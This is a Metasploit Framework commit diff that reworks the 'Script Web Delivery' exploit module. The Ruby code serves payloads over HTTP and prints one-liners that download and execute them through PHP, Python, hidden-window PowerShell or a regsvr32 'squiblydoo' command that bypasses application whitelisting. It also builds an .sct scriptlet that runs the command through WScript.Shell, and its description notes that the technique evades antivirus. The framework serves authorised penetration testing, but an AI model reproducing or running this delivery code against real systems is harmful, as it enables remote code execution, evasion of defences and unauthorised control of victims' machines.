Skip to content

Commit 2682e6e

Browse files
committed
Land rapid7#9132, Restore changes from PR rapid7#8933
2 parents 805dcb2 + cd755b0 commit 2682e6e

File tree

11 files changed

+145
-62
lines changed

11 files changed

+145
-62
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ PATH
4949
rex-mime
5050
rex-nop
5151
rex-ole
52-
rex-powershell (< 0.1.73)
52+
rex-powershell (< 0.1.78)
5353
rex-random_identifier
5454
rex-registry
5555
rex-rop_builder
@@ -278,7 +278,7 @@ GEM
278278
rex-arch
279279
rex-ole (0.1.6)
280280
rex-text
281-
rex-powershell (0.1.72)
281+
rex-powershell (0.1.77)
282282
rex-random_identifier
283283
rex-text
284284
rex-random_identifier (0.1.4)

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -139,7 +139,7 @@ Gem::Specification.new do |spec|
139139
# Library for Generating Randomized strings valid as Identifiers such as variable names
140140
spec.add_runtime_dependency 'rex-random_identifier'
141141
# library for creating Powershell scripts for exploitation purposes
142-
spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"]
142+
spec.add_runtime_dependency 'rex-powershell', ["< 0.1.78"]
143143
# Library for processing and creating Zip compatbile archives
144144
spec.add_runtime_dependency 'rex-zip'
145145
# Library for parsing offline Windows Registry files

modules/exploits/multi/script/web_delivery.rb

Lines changed: 117 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -8,40 +8,54 @@
88
class MetasploitModule < Msf::Exploit::Remote
99
Rank = ManualRanking
1010

11+
include Msf::Exploit::EXE
1112
include Msf::Exploit::Powershell
1213
include Msf::Exploit::Remote::HttpServer
1314

1415
def initialize(info = {})
1516
super(update_info(info,
1617
'Name' => 'Script Web Delivery',
1718
'Description' => %q(
18-
This module quickly fires up a web server that serves a payload.
19-
The provided command will start the specified scripting language interpreter and then download and execute the
20-
payload. The main purpose of this module is to quickly establish a session on a target
21-
machine when the attacker has to manually type in the command himself, e.g. Command Injection,
22-
RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
23-
write to disk so it is less likely to trigger AV solutions and will allow privilege
24-
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
25-
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
26-
x86 payloads on x64 machines.
19+
This module quickly fires up a web server that serves a payload.
20+
The provided command which will allow for a payload to download and execute.
21+
It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe
22+
for bypassing application whitelisting. The main purpose of this module is to quickly establish
23+
a session on a target machine when the attacker has to manually type in the command:
24+
e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.
25+
This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege
26+
escalations supplied by Meterpreter.
27+
28+
When using either of the PSH targets, ensure the payload architecture matches the target computer
29+
or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
30+
31+
Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
32+
The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
33+
PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
34+
can occur on the same port.
35+
36+
"PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
2737
),
2838
'License' => MSF_LICENSE,
2939
'Author' =>
3040
[
3141
'Andrew Smith "jakx" <[email protected]>',
3242
'Ben Campbell',
33-
'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
43+
'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
44+
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
45+
'Trenton Ivey', # AppLocker MSF Module (kn0)
46+
'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
3447
],
3548
'DefaultOptions' =>
3649
{
3750
'Payload' => 'python/meterpreter/reverse_tcp'
3851
},
3952
'References' =>
4053
[
41-
['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
42-
['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
54+
['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
55+
['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
4356
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
44-
['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
57+
['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
58+
['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
4559
],
4660
'Platform' => %w(python php win),
4761
'Targets' =>
@@ -57,45 +71,114 @@ def initialize(info = {})
5771
['PSH', {
5872
'Platform' => 'win',
5973
'Arch' => [ARCH_X86, ARCH_X64]
74+
}],
75+
['Regsvr32', {
76+
'Platform' => 'win',
77+
'Arch' => [ARCH_X86, ARCH_X64]
78+
}],
79+
['PSH (Binary)', {
80+
'Platform' => 'win',
81+
'Arch' => [ARCH_X86, ARCH_X64]
6082
}]
6183
],
6284
'DefaultTarget' => 0,
6385
'DisclosureDate' => 'Jul 19 2013'
6486
))
87+
88+
register_advanced_options(
89+
[
90+
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
91+
OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
92+
OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
93+
], self.class
94+
)
95+
end
96+
97+
98+
def primer
99+
php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));")
100+
python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());")
101+
regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll)
102+
103+
print_status("Run the following command on the target machine:")
104+
case target.name
105+
when 'PHP'
106+
print_line("#{php}")
107+
when 'Python'
108+
print_line("#{python}")
109+
when 'PSH'
110+
psh = gen_psh("#{get_uri}", "string")
111+
print_line("#{psh}")
112+
when 'Regsvr32'
113+
print_line("#{regsvr}")
114+
when 'PSH (Binary)'
115+
psh = gen_psh("#{get_uri}", "download")
116+
print_line("#{psh}")
117+
end
65118
end
66119

120+
67121
def on_request_uri(cli, _request)
68-
print_status('Delivering Payload')
69-
if target.name.include? 'PSH'
122+
if _request.raw_uri =~ /\.sct$/
123+
psh = gen_psh("#{get_uri}", "string")
124+
data = gen_sct_file(psh)
125+
elsif target.name.include? 'PSH (Binary)'
126+
data = generate_payload_exe
127+
elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
70128
data = cmd_psh_payload(payload.encoded,
71129
payload_instance.arch.first,
72130
remove_comspec: true,
73131
exec_in_place: true
74132
)
75133
else
76-
data = %Q(#{payload.encoded} )
134+
data = %Q(#{payload.encoded})
135+
end
136+
137+
if _request.raw_uri =~ /\.sct$/
138+
print_status("Handling .sct Request")
139+
send_response(cli, data, 'Content-Type' => 'text/plain')
140+
else
141+
print_status("Delivering Payload")
142+
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
77143
end
78-
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
79144
end
80145

81-
def primer
82-
url = get_uri
83-
print_status('Run the following command on the target machine:')
84-
case target.name
85-
when 'PHP'
86-
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
87-
when 'Python'
88-
print_line('Python:')
89-
print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
90-
when 'PSH'
146+
147+
def gen_psh(url, *method)
91148
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
92-
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
149+
150+
if method.include? 'string'
151+
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
152+
else
153+
# Random filename to use, if there isn't anything set
154+
random = "#{rand_text_alphanumeric 8}.exe"
155+
156+
# Set filename (Use random filename if empty)
157+
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
158+
159+
# Set path (Use %TEMP% if empty)
160+
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
161+
162+
# Join Path and Filename
163+
file = %Q(echo (#{path}+'\\#{filename}'))
164+
165+
# Generate download PowerShell command
166+
download_string = Rex::Powershell::PshMethods.download_run(url, file)
167+
end
168+
93169
download_and_run = "#{ignore_cert}#{download_string}"
94-
print_line generate_psh_command_line(
95-
noprofile: true,
96-
windowstyle: 'hidden',
97-
command: download_and_run
98-
)
99-
end
170+
171+
# Generate main PowerShell command
172+
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
173+
end
174+
175+
176+
def rand_class_id
177+
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
178+
end
179+
180+
181+
def gen_sct_file(command)
182+
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
100183
end
101184
end

modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote
88

99
include Msf::Exploit::Powershell
1010
include Msf::Exploit::Remote::HttpServer
11+
include Msf::Module::Deprecated
12+
13+
deprecated(Date.new(2018, 3, 5), 'exploits/multi/script/web_delivery.rb')
1114

1215
def initialize(info = {})
1316
super(update_info(info,

modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 1501
13+
CachedSize = 1518
1414

1515
include Msf::Payload::Single
1616
include Rex::Powershell::Command

modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010

1111
module MetasploitModule
1212

13-
CachedSize = 1509
13+
CachedSize = 1526
1414

1515
include Msf::Payload::Single
1616
include Rex::Powershell::Command

modules/payloads/singles/windows/powershell_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
###
1616
module MetasploitModule
1717

18-
CachedSize = 1501
18+
CachedSize = 1518
1919

2020
include Msf::Payload::Windows::Exec
2121
include Rex::Powershell::Command

modules/payloads/singles/windows/powershell_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
###
1616
module MetasploitModule
1717

18-
CachedSize = 1509
18+
CachedSize = 1526
1919

2020
include Msf::Payload::Windows::Exec
2121
include Msf::Payload::Windows::Powershell

modules/payloads/singles/windows/x64/powershell_bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
###
1616
module MetasploitModule
1717

18-
CachedSize = 1501
18+
CachedSize = 1518
1919

2020
include Msf::Payload::Windows::Exec_x64
2121
include Rex::Powershell::Command

modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
###
1616
module MetasploitModule
1717

18-
CachedSize = 1509
18+
CachedSize = 1526
1919

2020
include Msf::Payload::Windows::Exec_x64
2121
include Msf::Payload::Windows::Powershell

0 commit comments

Comments
 (0)